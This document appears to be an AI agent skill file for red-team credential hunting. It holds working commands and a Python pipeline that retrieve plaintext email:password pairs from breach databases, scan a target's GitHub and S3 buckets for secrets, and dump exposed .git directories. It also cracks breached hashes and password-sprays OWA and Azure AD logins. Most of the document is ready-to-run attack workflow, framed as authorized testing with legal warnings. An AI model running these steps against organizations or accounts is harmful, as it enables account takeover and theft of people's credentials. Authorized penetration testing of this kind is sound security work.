---
name: rt-credential-hunt
description: "Credential hunting skill. Use to search for leaked passwords, API keys, and tokens in breach databases (HaveIBeenPwned, DeHashed), GitHub repositories, paste sites, cloud storage, and config files. May find valid credentials immediately, saving exploitation time. Requires API keys for some sources."
---

# rt-credential-hunt

## Overview

Credential hunting is often the highest-ROI activity in the reconnaissance phase of a Red Team engagement. Leaked credentials, hardcoded API keys, and exposed tokens represent direct, low-noise paths to initial access — bypassing the need for exploit development entirely.

This skill covers the full credential hunting surface:
- **Breach databases** — email/password pairs from public data breaches (HIBP, DeHashed, IntelligenceX)
- **GitHub / GitLab / Bitbucket** — hardcoded secrets in repositories, commit history, and CI/CD config
- **Paste sites** — Pastebin, Ghostbin, and indexed paste archives
- **Cloud storage** — misconfigured S3 buckets, Azure Blob, GCP buckets with exposed secrets
- **Local / network config files** — .env, web.config, database.yml, Docker secrets
- **OSINT enrichment** — correlating found credentials with the target organization

All findings feed directly into the RTExit autodoc engine and are stored under `_rtexit-output/findings/credentials/`.

> LEGAL WARNING: Only hunt credentials against organizations you have written authorization to test. Accessing breach databases to retrieve credentials for unauthorized use is a criminal offence in most jurisdictions. Confirm RoE explicitly permits credential stuffing and breach database lookups before proceeding.

---

## Prerequisites

### API Keys Required

| Service | Purpose | Cost | Env Var |
|---------|---------|------|---------|
| HaveIBeenPwned API | Domain / email breach lookup | USD 3.50/mo | `HIBP_API_KEY` |
| DeHashed | Full credential pairs from breaches | USD 5/query or subscription | `DEHASHED_API_KEY` / `DEHASHED_EMAIL` |
| IntelligenceX | Paste sites, dark web, breach data | Free tier available | `INTELX_API_KEY` |
| GitHub Token | Public repo secret scanning | Free (Personal Access Token) | `GITHUB_TOKEN` |
| Shodan | Exposed config files on internet-facing hosts | USD 69/mo | `SHODAN_API_KEY` |

Store all API keys in `~/.rtenv` and source at session start:
```bash
source ~/.rtenv
```

Example `~/.rtenv`:
```bash
export HIBP_API_KEY="your_hibp_key_here"
export DEHASHED_API_KEY="your_dehashed_key_here"
export DEHASHED_EMAIL="your_dehashed_account_email"
export INTELX_API_KEY="your_intelx_key_here"
export GITHUB_TOKEN="ghp_yourpersonalaccesstoken"
export SHODAN_API_KEY="your_shodan_key_here"
```

### Tool Installation (Kali Linux)

```bash
# Core tools
sudo apt-get install -y git python3-pip jq curl wget

# TruffleHog — secret scanning in git repos
pip3 install trufflehog
# OR binary install (recommended — faster, more signatures)
curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin

# GitLeaks — fast secret detection in git repos
wget https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_linux_x64.tar.gz
tar -xzf gitleaks_linux_x64.tar.gz && sudo mv gitleaks /usr/local/bin/

# GitDorker — GitHub code search dorks
git clone https://github.com/obheda12/GitDorker.git /opt/GitDorker
pip3 install -r /opt/GitDorker/requirements.txt

# Gitrob — scans GitHub org repos for sensitive files
go install github.com/michenriksen/gitrob@latest

# GH-Archive / git-dumper — dump exposed .git directories
pip3 install git-dumper

# credential-digger — ML-enhanced secret scanner
pip3 install credentialdigger

# S3Scanner — enumerate and check S3 bucket permissions
pip3 install s3scanner

# CloudBrute — brute-force cloud storage names
git clone https://github.com/0xsha/CloudBrute.git /opt/CloudBrute

# Nuclei templates (for exposed credential endpoints)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates

# Pastes/OSINT
pip3 install pwnedpasswords requests
```

---

## Skill Levels

### BEGINNER — Domain Breach Lookup

Check whether the target domain has appeared in public breaches. No exploitation, just breach confirmation.

```bash
# 1. Check if target domain appears in HIBP breaches
TARGET_DOMAIN="target.com"
curl -s \
  -H "hibp-api-key: ${HIBP_API_KEY}" \
  -H "User-Agent: RTExit-CredHunt/1.0" \
  "https://haveibeenpwned.com/api/v3/breacheddomain/${TARGET_DOMAIN}" \
  | jq '.'

# 2. Check a specific email address
TARGET_EMAIL="admin@target.com"
curl -s \
  -H "hibp-api-key: ${HIBP_API_KEY}" \
  -H "User-Agent: RTExit-CredHunt/1.0" \
  "https://haveibeenpwned.com/api/v3/breachedaccount/${TARGET_EMAIL}" \
  | jq '.[] | {Name, BreachDate, DataClasses}'

# 3. Bulk-check a list of emails from OSINT
while read -r email; do
  echo -n "[*] Checking $email ... "
  result=$(curl -s -H "hibp-api-key: ${HIBP_API_KEY}" \
    -H "User-Agent: RTExit-CredHunt/1.0" \
    "https://haveibeenpwned.com/api/v3/breachedaccount/${email}")
  if [ "$result" != "[]" ] && [ -n "$result" ]; then
    echo "BREACHED"
    echo "$email|$result" >> /tmp/hibp_hits.txt
  else
    echo "clean"
  fi
  sleep 1.5  # Respect rate limit
done < /tmp/target_emails.txt
```

Save results:
```bash
cp /tmp/hibp_hits.txt _rtexit-output/findings/credentials/hibp-domain-hits.txt
```

---

### INTERMEDIATE — Credential Pair Retrieval + GitHub Dorks

Retrieve actual username:password pairs from breach databases and scan public GitHub for hardcoded secrets.

#### DeHashed — Retrieve Credential Pairs

```bash
TARGET_DOMAIN="target.com"
DEHASHED_EMAIL="your@email.com"
DEHASHED_API_KEY="your_dehashed_key"

# Query DeHashed for all records matching the domain
curl -s \
  -u "${DEHASHED_EMAIL}:${DEHASHED_API_KEY}" \
  -H "Accept: application/json" \
  "https://api.dehashed.com/search?query=domain%3A${TARGET_DOMAIN}&size=10000" \
  | jq '.' > _rtexit-output/findings/credentials/dehashed-raw.json

# Parse out email:password pairs
jq -r '.entries[] | select(.password != null and .password != "") | "\(.email):\(.password)"' \
  _rtexit-output/findings/credentials/dehashed-raw.json \
  > _rtexit-output/findings/credentials/dehashed-creds.txt

# Parse out email:hashed pairs (for offline cracking)
jq -r '.entries[] | select(.hashed_password != null and .hashed_password != "") | "\(.email):\(.hashed_password)"' \
  _rtexit-output/findings/credentials/dehashed-raw.json \
  > _rtexit-output/findings/credentials/dehashed-hashes.txt

echo "[+] Credential pairs found: $(wc -l < _rtexit-output/findings/credentials/dehashed-creds.txt)"
echo "[+] Hash pairs found: $(wc -l < _rtexit-output/findings/credentials/dehashed-hashes.txt)"
```

#### GitHub Dorking — Find Hardcoded Secrets

```bash
TARGET_ORG="TargetOrgName"
TARGET_DOMAIN="target.com"
GITHUB_TOKEN="ghp_yourtoken"

# GitDorker — run standard secret dorks against target org
cd /opt/GitDorker
python3 GitDorker.py \
  -t ${GITHUB_TOKEN} \
  -q "${TARGET_DOMAIN}" \
  -d dorks/BHIS_generaldorks.txt \
  -o /tmp/gitdorker_results.txt

cp /tmp/gitdorker_results.txt _rtexit-output/findings/credentials/github-dork-results.txt

# TruffleHog — scan a specific GitHub org for secrets
trufflehog github \
  --org "${TARGET_ORG}" \
  --token="${GITHUB_TOKEN}" \
  --only-verified \
  --json \
  > _rtexit-output/findings/credentials/trufflehog-org.json

# TruffleHog — scan a specific repo
TARGET_REPO="https://github.com/${TARGET_ORG}/target-repo"
trufflehog git "${TARGET_REPO}" \
  --token="${GITHUB_TOKEN}" \
  --only-verified \
  --json \
  > _rtexit-output/findings/credentials/trufflehog-repo.json

# GitLeaks — audit a cloned repo (including full commit history)
git clone "https://${GITHUB_TOKEN}@github.com/${TARGET_ORG}/target-repo.git" /tmp/target-repo
gitleaks detect \
  --source /tmp/target-repo \
  --report-format json \
  --report-path _rtexit-output/findings/credentials/gitleaks-report.json \
  --verbose
```

#### IntelligenceX — Paste Site + Dark Web Search

```bash
TARGET_DOMAIN="target.com"
INTELX_API_KEY="your_intelx_key"

# Search IntelligenceX for domain mentions
curl -s -X POST \
  "https://2.intelx.io/intelligent/search" \
  -H "x-key: ${INTELX_API_KEY}" \
  -H "Content-Type: application/json" \
  -d "{\"term\": \"${TARGET_DOMAIN}\", \"maxresults\": 100, \"media\": 0, \"sort\": 4}" \
  | jq '.' > _rtexit-output/findings/credentials/intelx-search.json

# Extract search ID and retrieve results
SEARCH_ID=$(jq -r '.id' _rtexit-output/findings/credentials/intelx-search.json)
sleep 3
curl -s \
  "https://2.intelx.io/intelligent/search/result?id=${SEARCH_ID}&limit=100&offset=0" \
  -H "x-key: ${INTELX_API_KEY}" \
  | jq '.' > _rtexit-output/findings/credentials/intelx-results.json
```

---

### ADVANCED — Cloud Storage, Exposed .git, and Automated Validation

Enumerate misconfigured cloud storage, dump exposed .git directories, and validate credential pairs against live services.

#### S3 Bucket Enumeration

```bash
TARGET_DOMAIN="target.com"
TARGET_ORG="targetorg"  # Common bucket name prefix

# S3Scanner — check specific bucket names
s3scanner scan --bucket-file /tmp/bucket_names.txt \
  --out-file _rtexit-output/findings/credentials/s3-buckets.txt

# Generate wordlist of likely bucket names
cat > /tmp/bucket_names.txt <<EOF
${TARGET_ORG}
${TARGET_ORG}-dev
${TARGET_ORG}-staging
${TARGET_ORG}-prod
${TARGET_ORG}-backup
${TARGET_ORG}-config
${TARGET_ORG}-secrets
${TARGET_ORG}-env
${TARGET_ORG}-logs
${TARGET_ORG}-data
www.${TARGET_DOMAIN}
static.${TARGET_DOMAIN}
assets.${TARGET_DOMAIN}
EOF

# CloudBrute — brute-force across AWS, Azure, GCP
cd /opt/CloudBrute
./CloudBrute \
  -d "${TARGET_DOMAIN}" \
  -k "${TARGET_ORG}" \
  -t 80 \
  -T 10 \
  -w /opt/CloudBrute/data/general_keywords.txt \
  -o _rtexit-output/findings/credentials/cloudbrute-results.txt

# Direct AWS CLI check (unauthenticated)
aws s3 ls s3://${TARGET_ORG} --no-sign-request 2>/dev/null \
  && echo "[!] BUCKET READABLE: ${TARGET_ORG}" \
  >> _rtexit-output/findings/credentials/open-buckets.txt

# Download all contents from an open bucket
aws s3 sync s3://${TARGET_ORG} /tmp/s3-loot/${TARGET_ORG}/ --no-sign-request
# Then search for secrets
grep -rE '(password|passwd|secret|api_key|token|aws_secret|private_key)' \
  /tmp/s3-loot/${TARGET_ORG}/ \
  > _rtexit-output/findings/credentials/s3-secrets-found.txt
```

#### Exposed .git Directory Dump

```bash
TARGET_URL="https://target.com"

# Check if .git is exposed
curl -s -o /dev/null -w "%{http_code}" "${TARGET_URL}/.git/HEAD"
# 200 = exposed

# Dump the entire .git directory
git-dumper "${TARGET_URL}/.git" /tmp/git-dump/

# Reconstruct repo and search for secrets
cd /tmp/git-dump/
git log --all --oneline
git log --all -p | grep -iE '(password|secret|api_key|token|credential)' \
  > _rtexit-output/findings/credentials/git-dump-secrets.txt

# TruffleHog scan on dumped repo
trufflehog git file:///tmp/git-dump/ \
  --json \
  > _rtexit-output/findings/credentials/trufflehog-git-dump.json
```

#### Nuclei — Scan for Exposed Credential Endpoints

```bash
TARGET="https://target.com"

# Scan for exposed .env, config files, and credential endpoints
nuclei -u "${TARGET}" \
  -t exposures/configs/ \
  -t exposures/files/ \
  -t misconfiguration/ \
  -severity medium,high,critical \
  -json \
  -o _rtexit-output/findings/credentials/nuclei-exposures.json

# Specific templates for credential exposure
nuclei -u "${TARGET}" \
  -t exposures/configs/laravel-env.yaml \
  -t exposures/configs/rails-env.yaml \
  -t exposures/configs/symfony-env.yaml \
  -t exposures/configs/wp-config.yaml \
  -t exposures/configs/firebase-config.yaml \
  -json \
  -o _rtexit-output/findings/credentials/nuclei-config-files.json
```

#### Credential Validation — Password Spray (Restrained)

> Only spray with explicit RoE permission. Use low-and-slow to avoid lockouts. Default: 1 attempt per account per 30 minutes.

```bash
# Generate target credential list from breach data
# Deduplicate passwords and sort by frequency
awk -F: '{print $2}' _rtexit-output/findings/credentials/dehashed-creds.txt \
  | sort | uniq -c | sort -rn | head -50 \
  | awk '{print $2}' \
  > /tmp/top-breach-passwords.txt

# Validate against OWA / Exchange (common enterprise target)
TARGET_OWA="https://mail.target.com"
python3 /opt/ruler/ruler.py \
  --domain target.com \
  --url "${TARGET_OWA}" \
  --usernames /tmp/target_usernames.txt \
  --passwords /tmp/top-breach-passwords.txt \
  --delay 30 \
  --output _rtexit-output/findings/credentials/owa-spray-results.txt

# Validate against Azure AD / O365 (using MSOLSpray or Spray365)
python3 /opt/MSOLSpray/MSOLSpray.py \
  --userlist /tmp/target_emails.txt \
  --password "Password123!" \
  --out _rtexit-output/findings/credentials/msol-spray-results.txt

# REST API — test individual credentials quietly
FOUND_EMAIL="user@target.com"
FOUND_PASS="SomeBreachedPassword1"
curl -s -o /dev/null -w "%{http_code}" \
  -u "${FOUND_EMAIL}:${FOUND_PASS}" \
  "https://api.target.com/v1/me" \
  && echo "VALID: ${FOUND_EMAIL}:${FOUND_PASS}" \
  >> _rtexit-output/findings/credentials/validated-creds.txt
```

---

### EXPERT — Full Pipeline: OSINT + Breach Correlation + Hash Cracking + MFA Bypass Research

End-to-end automated pipeline from target domain to validated credentials, including offline hash cracking and MFA token analysis.

#### Automated Credential Hunt Pipeline Script

Save as `_rtexit/scripts/cred_hunt.py`:

```python
#!/usr/bin/env python3
"""
rt-credential-hunt — RTExit Automated Credential Hunt Pipeline
Author: Red Team Operator
Usage: python3 cred_hunt.py --domain target.com --output _rtexit-output/findings/credentials/
"""

import argparse
import os
import json
import time
import requests
import subprocess
from datetime import datetime
from pathlib import Path


def hibp_domain_check(domain: str, api_key: str, output_dir: Path) -> dict:
    """Check HaveIBeenPwned for domain breach data."""
    headers = {
        "hibp-api-key": api_key,
        "User-Agent": "RTExit-CredHunt/1.0"
    }
    url = f"https://haveibeenpwned.com/api/v3/breacheddomain/{domain}"
    resp = requests.get(url, headers=headers)
    if resp.status_code == 200:
        data = resp.json()
        out_file = output_dir / "hibp-domain-breaches.json"
        out_file.write_text(json.dumps(data, indent=2))
        print(f"[+] HIBP: {len(data)} email addresses found in breaches for {domain}")
        return data
    elif resp.status_code == 404:
        print(f"[-] HIBP: No breaches found for {domain}")
        return {}
    else:
        print(f"[!] HIBP error: {resp.status_code}")
        return {}


def dehashed_query(domain: str, email: str, api_key: str, output_dir: Path) -> list:
    """Query DeHashed for credential pairs."""
    url = f"https://api.dehashed.com/search?query=domain%3A{domain}&size=10000"
    resp = requests.get(url, auth=(email, api_key), headers={"Accept": "application/json"})
    if resp.status_code == 200:
        data = resp.json()
        entries = data.get("entries", []) or []
        out_file = output_dir / "dehashed-raw.json"
        out_file.write_text(json.dumps(data, indent=2))
        # Extract plaintext creds
        creds = []
        hashes = []
        for e in entries:
            if e.get("password"):
                creds.append(f"{e.get('email', '')}:{e['password']}")
            if e.get("hashed_password"):
                hashes.append(f"{e.get('email', '')}:{e['hashed_password']}")
        (output_dir / "dehashed-creds.txt").write_text("\n".join(creds))
        (output_dir / "dehashed-hashes.txt").write_text("\n".join(hashes))
        print(f"[+] DeHashed: {len(creds)} plaintext creds, {len(hashes)} hashes for {domain}")
        return entries
    else:
        print(f"[!] DeHashed error: {resp.status_code} — {resp.text[:200]}")
        return []


def trufflehog_scan(target: str, token: str, output_dir: Path, scan_type: str = "github"):
    """Run TruffleHog against a GitHub org or git URL."""
    out_file = output_dir / f"trufflehog-{scan_type}.json"
    if scan_type == "github":
        cmd = [
            "trufflehog", "github",
            "--org", target,
            f"--token={token}",
            "--only-verified",
            "--json"
        ]
    else:
        cmd = [
            "trufflehog", "git", target,
            f"--token={token}",
            "--only-verified",
            "--json"
        ]
    print(f"[*] Running TruffleHog ({scan_type}) against {target}...")
    with open(out_file, "w") as f:
        result = subprocess.run(cmd, stdout=f, stderr=subprocess.DEVNULL)
    findings = []
    with open(out_file) as f:
        for line in f:
            try:
                findings.append(json.loads(line))
            except json.JSONDecodeError:
                pass
    print(f"[+] TruffleHog: {len(findings)} verified secrets found")
    return findings


def generate_report(domain: str, output_dir: Path, findings: dict):
    """Generate a markdown findings report."""
    report_lines = [
        f"# Credential Hunt Report — {domain}",
        f"Generated: {datetime.utcnow().isoformat()}Z",
        "",
        "## Summary",
        f"- HIBP breach emails: {findings.get('hibp_count', 0)}",
        f"- DeHashed plaintext creds: {findings.get('dehashed_creds', 0)}",
        f"- DeHashed hashes: {findings.get('dehashed_hashes', 0)}",
        f"- TruffleHog verified secrets: {findings.get('trufflehog_count', 0)}",
        "",
        "## Files",
        f"- Raw breach data: {output_dir}/dehashed-raw.json",
        f"- Credential pairs: {output_dir}/dehashed-creds.txt",
        f"- Hash pairs: {output_dir}/dehashed-hashes.txt",
        f"- GitHub secrets: {output_dir}/trufflehog-github.json",
        "",
        "## Next Steps",
        "1. Validate plaintext credentials against target services",
        "2. Submit hashes to hashcat/john for offline cracking",
        "3. Review TruffleHog findings for API keys to test",
        "4. Check validated creds for MFA gaps",
    ]
    report = "\n".join(report_lines)
    report_file = output_dir / "cred-hunt-report.md"
    report_file.write_text(report)
    print(f"[+] Report written to {report_file}")


def main():
    parser = argparse.ArgumentParser(description="RTExit Credential Hunt Pipeline")
    parser.add_argument("--domain", required=True, help="Target domain (e.g. target.com)")
    parser.add_argument("--org", default=None, help="GitHub org name (if different from domain)")
    parser.add_argument("--output", default="_rtexit-output/findings/credentials/")
    args = parser.parse_args()

    output_dir = Path(args.output)
    output_dir.mkdir(parents=True, exist_ok=True)

    hibp_key = os.environ.get("HIBP_API_KEY", "")
    dehashed_key = os.environ.get("DEHASHED_API_KEY", "")
    dehashed_email = os.environ.get("DEHASHED_EMAIL", "")
    github_token = os.environ.get("GITHUB_TOKEN", "")

    findings = {}

    if hibp_key:
        hibp_data = hibp_domain_check(args.domain, hibp_key, output_dir)
        findings["hibp_count"] = len(hibp_data)
    else:
        print("[!] HIBP_API_KEY not set — skipping HIBP check")

    if dehashed_key and dehashed_email:
        time.sleep(1)
        entries = dehashed_query(args.domain, dehashed_email, dehashed_key, output_dir)
        findings["dehashed_creds"] = sum(1 for e in entries if e.get("password"))
        findings["dehashed_hashes"] = sum(1 for e in entries if e.get("hashed_password"))
    else:
        print("[!] DEHASHED_API_KEY or DEHASHED_EMAIL not set — skipping DeHashed")

    if github_token:
        org = args.org or args.domain.split(".")[0]
        th_findings = trufflehog_scan(org, github_token, output_dir, scan_type="github")
        findings["trufflehog_count"] = len(th_findings)
    else:
        print("[!] GITHUB_TOKEN not set — skipping TruffleHog GitHub scan")

    generate_report(args.domain, output_dir, findings)


if __name__ == "__main__":
    main()
```

Run the pipeline:
```bash
python3 _rtexit/scripts/cred_hunt.py \
  --domain target.com \
  --org TargetGitHubOrgName \
  --output _rtexit-output/findings/credentials/
```

#### Offline Hash Cracking

```bash
HASH_FILE="_rtexit-output/findings/credentials/dehashed-hashes.txt"

# Extract raw hashes (strip email prefix)
awk -F: '{print $NF}' "${HASH_FILE}" > /tmp/raw-hashes.txt

# Identify hash type
hashid $(head -1 /tmp/raw-hashes.txt)

# Hashcat — MD5 (most common in old breaches)
hashcat -m 0 /tmp/raw-hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --outfile _rtexit-output/findings/credentials/cracked-md5.txt

# Hashcat — bcrypt ($2y / $2a)
hashcat -m 3200 /tmp/raw-hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  --outfile _rtexit-output/findings/credentials/cracked-bcrypt.txt

# Hashcat — SHA-1
hashcat -m 100 /tmp/raw-hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule \
  --outfile _rtexit-output/findings/credentials/cracked-sha1.txt

# John the Ripper — auto-detect and crack
john --wordlist=/usr/share/wordlists/rockyou.txt \
  --rules=Jumbo \
  /tmp/raw-hashes.txt \
  --output=_rtexit-output/findings/credentials/john-cracked.txt

# SecLists — use targeted wordlists for corporate environments
# SecLists path on Kali: /usr/share/seclists/
hashcat -m 0 /tmp/raw-hashes.txt \
  /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt \
  --outfile _rtexit-output/findings/credentials/cracked-seclists.txt
```

#### Shodan — Find Exposed Config Files on Target Infrastructure

```bash
TARGET_DOMAIN="target.com"

# Search Shodan for exposed config files on target IP ranges
shodan search "hostname:${TARGET_DOMAIN} http.title:\"Index of\"" \
  --fields ip_str,port,hostnames \
  > _rtexit-output/findings/credentials/shodan-exposed-dirs.txt

# Search for exposed environment files
shodan search "hostname:${TARGET_DOMAIN} http.html:\".env\"" \
  --fields ip_str,port,hostnames \
  > _rtexit-output/findings/credentials/shodan-env-files.txt

# Download Shodan JSON for processing
shodan search "hostname:${TARGET_DOMAIN}" --format json \
  > _rtexit-output/findings/credentials/shodan-full.json
```

---

## Step-by-Step Workflow

### Phase 1 — Preparation

1. Confirm RoE permits breach database lookups and credential validation.
2. Source API keys: `source ~/.rtenv`
3. Create output directory:
   ```bash
   mkdir -p _rtexit-output/findings/credentials/
   ```
4. Collect target emails from OSINT (LinkedIn scraping, theHarvester, Hunter.io):
   ```bash
   theHarvester -d target.com -b linkedin,google,bing -f /tmp/harvester-out
   # Extract emails
   grep -oE '[a-zA-Z0-9._%+\-]+@target\.com' /tmp/harvester-out.xml \
     | sort -u > /tmp/target_emails.txt
   ```

### Phase 2 — Breach Database Query

5. Run HIBP domain check:
   ```bash
   curl -s -H "hibp-api-key: ${HIBP_API_KEY}" \
     -H "User-Agent: RTExit-CredHunt/1.0" \
     "https://haveibeenpwned.com/api/v3/breacheddomain/target.com" \
     | jq '.' > _rtexit-output/findings/credentials/hibp-breaches.json
   ```
6. Run DeHashed query for credential pairs (see INTERMEDIATE section).
7. Run IntelligenceX paste site search (see INTERMEDIATE section).

### Phase 3 — GitHub / Source Code Secret Scanning

8. Run TruffleHog against target GitHub org:
   ```bash
   trufflehog github --org TargetOrg --token="${GITHUB_TOKEN}" --only-verified --json \
     > _rtexit-output/findings/credentials/trufflehog-github.json
   ```
9. Run GitLeaks on any cloned target repositories:
   ```bash
   gitleaks detect --source /tmp/target-repo/ --report-format json \
     --report-path _rtexit-output/findings/credentials/gitleaks-report.json
   ```
10. Run GitDorker for GitHub code search dorks:
    ```bash
    cd /opt/GitDorker && python3 GitDorker.py \
      -t ${GITHUB_TOKEN} -q target.com \
      -d dorks/BHIS_generaldorks.txt \
      -o _rtexit-output/findings/credentials/gitdorker-results.txt
    ```

### Phase 4 — Cloud and Infrastructure Exposure

11. Enumerate S3 buckets (see ADVANCED section).
12. Check for exposed .git directories on target web servers.
13. Run Nuclei against target web applications:
    ```bash
    nuclei -u https://target.com -t exposures/ -severity medium,high,critical \
      -json -o _rtexit-output/findings/credentials/nuclei-exposures.json
    ```

### Phase 5 — Hash Cracking

14. Extract hashes from DeHashed output.
15. Identify hash types with `hashid` or `hash-identifier`.
16. Run hashcat with rockyou + SecLists wordlists and best64 rules.
17. For slow hash types (bcrypt, scrypt), prioritize top-500 passwords only.

### Phase 6 — Credential Validation

18. Test plaintext creds against discovered login portals (OWA, VPN, Citrix, cloud consoles).
19. Validate API keys found in GitHub against their respective services.
20. Test cloud credentials (AWS access keys, GCP service account JSON):
    ```bash
    # AWS key validation
    AWS_ACCESS_KEY_ID="AKIA..." AWS_SECRET_ACCESS_KEY="..." \
      aws sts get-caller-identity 2>&1
    ```

### Phase 7 — Documentation

21. Log all findings to RTExit autodoc engine:
    ```bash
    python3 _rtexit/scripts/autodoc_engine.py finding add \
      --type credential \
      --severity critical \
      --title "Valid credentials found via breach database" \
      --evidence _rtexit-output/findings/credentials/ \
      --ref ENGAGEMENT_REF
    ```
22. Generate consolidated credential hunt report.

---

## Tools Referenced

| Tool | URL | Purpose |
|------|-----|---------|
| TruffleHog | https://github.com/trufflesecurity/trufflehog | Secret detection in git repos, S3, GitHub orgs |
| GitLeaks | https://github.com/gitleaks/gitleaks | Fast regex-based secret detection in git |
| GitDorker | https://github.com/obheda12/GitDorker | GitHub code search dorks automation |
| Gitrob | https://github.com/michenriksen/gitrob | GitHub org recon and sensitive file detection |
| git-dumper | https://github.com/arthaud/git-dumper | Dump exposed .git directories from web servers |
| S3Scanner | https://github.com/sa7mon/S3Scanner | Enumerate and check S3 bucket permissions |
| CloudBrute | https://github.com/0xsha/CloudBrute | Cloud storage brute-force (AWS, Azure, GCP) |
| MSOLSpray | https://github.com/dafthack/MSOLSpray | Office 365 / Azure AD password spray |
| Spray365 | https://github.com/MarkoH17/Spray365 | Modular O365 spray with MFA detection |
| Ruler | https://github.com/sensepost/ruler | Exchange/OWA interaction and spray |
| Nuclei | https://github.com/projectdiscovery/nuclei | Template-based vulnerability and exposure scanner |
| theHarvester | https://github.com/laramies/theHarvester | Email and domain OSINT |
| SecLists | https://github.com/danielmiessler/SecLists | Wordlists for passwords, paths, fuzzing |
| Hashcat | https://github.com/hashcat/hashcat | GPU-accelerated offline hash cracking |
| HaveIBeenPwned API | https://haveibeenpwned.com/API/v3 | Domain and email breach lookup |
| DeHashed | https://www.dehashed.com/api | Full credential pair retrieval from breaches |
| IntelligenceX | https://intelx.io/api | Paste sites, dark web, breach data search |
| Shodan | https://shodan.io | Exposed configs and files on internet-facing hosts |

---

## Output Files

All output is saved under `_rtexit-output/findings/credentials/`. Standard file naming:

| File | Contents |
|------|----------|
| `hibp-domain-breaches.json` | HIBP domain breach response |
| `hibp-email-hits.txt` | Breached email addresses (pipe-delimited with breach names) |
| `dehashed-raw.json` | Full DeHashed API response |
| `dehashed-creds.txt` | Plaintext `email:password` pairs |
| `dehashed-hashes.txt` | `email:hash` pairs for offline cracking |
| `cracked-md5.txt` | Hashcat cracked MD5 results |
| `cracked-sha1.txt` | Hashcat cracked SHA-1 results |
| `cracked-bcrypt.txt` | Hashcat cracked bcrypt results |
| `trufflehog-github.json` | TruffleHog verified GitHub secrets |
| `trufflehog-repo.json` | TruffleHog per-repo scan results |
| `gitleaks-report.json` | GitLeaks findings |
| `gitdorker-results.txt` | GitDorker dork hits |
| `intelx-results.json` | IntelligenceX paste/dark web results |
| `s3-buckets.txt` | S3Scanner open/accessible buckets |
| `cloudbrute-results.txt` | CloudBrute enumeration results |
| `s3-secrets-found.txt` | Secrets found in S3 bucket contents |
| `nuclei-exposures.json` | Nuclei exposure scan findings |
| `git-dump-secrets.txt` | Secrets extracted from dumped .git |
| `validated-creds.txt` | Confirmed valid `email:password` pairs |
| `shodan-exposed-dirs.txt` | Shodan open directory listings on target |
| `cred-hunt-report.md` | Consolidated markdown findings report |

### RTExit Autodoc Integration

Register findings with the autodoc engine after each major discovery:

```bash
# Register a critical credential finding
python3 _rtexit/scripts/autodoc_engine.py finding add \
  --type credential \
  --severity critical \
  --title "Plaintext credentials retrieved from breach database" \
  --description "DeHashed returned N plaintext credential pairs for @target.com. N credentials validated against OWA." \
  --evidence "_rtexit-output/findings/credentials/validated-creds.txt" \
  --ref "${ENGAGEMENT_REF}"

# Register an informational finding (breached but not validated)
python3 _rtexit/scripts/autodoc_engine.py finding add \
  --type credential \
  --severity high \
  --title "Target email addresses present in public breach databases" \
  --description "HIBP indicates N unique email addresses for @target.com appear in known breaches including [breach names]." \
  --evidence "_rtexit-output/findings/credentials/hibp-domain-breaches.json" \
  --ref "${ENGAGEMENT_REF}"

# Generate updated engagement report
python3 _rtexit/scripts/autodoc_engine.py report generate \
  --ref "${ENGAGEMENT_REF}" \
  --section credentials
```

---

## SecLists Wordlist References

Relevant SecLists paths on Kali Linux (`/usr/share/seclists/`):

| Path | Use |
|------|-----|
| `Passwords/Common-Credentials/10-million-password-list-top-1000.txt` | Top 1K spray list |
| `Passwords/Common-Credentials/10-million-password-list-top-100000.txt` | Broad spray / crack |
| `Passwords/Leaked-Databases/rockyou.txt.tar.gz` | Classic breach wordlist |
| `Passwords/darkweb2017-top10000.txt` | Dark web breach passwords |
| `Passwords/Common-Credentials/best1050.txt` | Best 1050 for targeted spray |
| `Usernames/top-usernames-shortlist.txt` | Username enumeration |
| `Discovery/Web-Content/common.txt` | Web path discovery |
| `Discovery/Web-Content/spring-boot.txt` | Spring Boot actuator endpoints |

Install SecLists if not present:
```bash
sudo apt-get install -y seclists
# OR
git clone https://github.com/danielmiessler/SecLists.git /usr/share/seclists
```

---

## Resources

| Resource | URL | Notes |
|----------|-----|-------|
| HIBP API v3 Docs | https://haveibeenpwned.com/API/v3 | Rate limits, auth, endpoints |
| DeHashed API Docs | https://www.dehashed.com/api | Query syntax, result format |
| IntelligenceX API | https://intelx.io/api | Search types, media filters |
| TruffleHog Docs | https://github.com/trufflesecurity/trufflehog#readme | Detectors list, modes |
| GitLeaks Configuration | https://github.com/gitleaks/gitleaks#configuration | Custom rules, allowlists |
| Nuclei Template Library | https://github.com/projectdiscovery/nuclei-templates | Exposures, configs templates |
| Hashcat Wiki | https://hashcat.net/wiki/ | Hash modes, attack types |
| Hashcat Rule Files | https://github.com/hashcat/hashcat/tree/master/rules | best64, d3ad0ne, Hob0Rules |
| Hob0Rules (advanced rules) | https://github.com/praetorian-inc/Hob0Rules | Best hashcat ruleset for corporate |
| SecLists GitHub | https://github.com/danielmiessler/SecLists | All wordlists |
| MITRE ATT&CK T1589.001 | https://attack.mitre.org/techniques/T1589/001/ | Gather Victim Identity Info: Credentials |
| MITRE ATT&CK T1552 | https://attack.mitre.org/techniques/T1552/ | Unsecured Credentials |
| MITRE ATT&CK T1078 | https://attack.mitre.org/techniques/T1078/ | Valid Accounts |
| HackTricks — Credential Hunting | https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology | Comprehensive OSINT recon |
| Pentest.ws Cheatsheet | https://pentest.ws/notes/credentials/hunting | Operator quick reference |
